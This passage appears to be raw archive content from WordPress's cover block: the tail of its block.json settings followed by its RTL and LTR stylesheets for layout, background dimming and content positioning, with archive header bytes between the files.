		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"sizeSlug": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"anchor": true,
		"align": true,
		"html": false,
		"shadow": true,
		"spacing": {
			"padding": true,
			"margin": [ "top", "bottom" ],
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"color": {
			"__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
			"heading": true,
			"text": true,
			"background": false,
			"__experimentalSkipSerialization": [ "gradients" ],
			"enableContrastChecker": false
		},
		"dimensions": {
			"aspectRatio": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowJustification": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-cover-editor",
	"style": "wp-block-cover"
}
PK�[d[�O	�L�L
style-rtl.cssnu�[���.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}PK�[d[\>L��L�L	style.cssnu�[���.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
